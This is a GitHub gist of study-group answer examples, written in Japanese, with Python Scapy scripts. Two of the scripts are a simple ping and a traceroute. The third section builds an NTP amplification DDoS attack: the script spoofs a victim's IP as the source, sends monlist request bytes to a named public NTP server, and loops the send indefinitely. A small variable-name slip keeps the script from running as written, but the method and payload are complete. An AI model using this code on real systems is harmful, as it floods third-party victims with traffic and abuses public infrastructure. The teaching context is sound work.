Skip to content

Instantly share code, notes, and snippets.

@kimitoboku
Created July 11, 2015 15:05
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save kimitoboku/1a75628a53edc6d6f36d to your computer and use it in GitHub Desktop.
Save kimitoboku/1a75628a53edc6d6f36d to your computer and use it in GitHub Desktop.
Web班課題解答例

Web班勉強会課題解答

課題1 pingを作る

#! /bin/python

import sys
from scapy.all import *

conf.verb = 0
packet = IP(dst=sys.argv[1], ttl=64)/ICMP()
reply = sr1(packet)
if reply.type == 0 :
    print "OK"
else:
    print "NO"

Scapyではパケットの生成は各階層を/という演算子で繋げる事で行えます。今回はIPレイヤの上にICMPとなっているのでまずIPのレイヤーで目的地とTTLを設定しあとはデフォルトのままです。

普通に通信を行うだけなら基本的に最小限の設定とデフォルトだけで十分です。そして、ICMPのレイヤですが、ここはデフォルトでEcho Requestなのでそのままで良いです。

そして、sr1という関数で生成したパケットを送信し、その返答をreplyに格納します。そして、そのtypeを判別しICMPのTypeの0番、つまりEcho ReplyならOK、それ以外ならNOを表示します。

課題2 tracerouteを作る

#! /bin/python

import sys
from scapy.all import *

conf.verb = 0
for i in range(1, 64):
    packet = IP(dst=sys.argv[1], ttl=i)/ICMP()
    reply = sr1(packet)
    if reply.type == 11:
        print reply.src
    if reply.type == 0 :
        print "reach"
        break

基本的なパケット生成、送信部分は同じです。違いはTTLを変更して送信し、返答がTTL不足によるルータなどからの返答の場合そのSrcIPを表示し、ちゃんと到達してればそこで終了するといった感じです。

課題3 NTP Amp Attackのパケットを作ってみる

#! /bin/python

import sys
from scapy.all import *

data = "\x17\x00\x03\x2a" + "\x00" * 4
attack = IP(dst="ntp.nict.jp",src=sys.argv[1])/UDP(sport=48947,dport=123)/Raw(load=data)
send(packet,loop=1)

パケットの生成して送信はこんな感じです。srcを第一引数で受け取りますこれが攻撃目標になります。そして、UDPでポートを指定して、その上にRawという所で攻撃データをのっけます。

NTP AmpにはNTPにアクセスしてきた元のリストを返答するという機能を使用します。data部はその要求のバイナリデータになってます。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment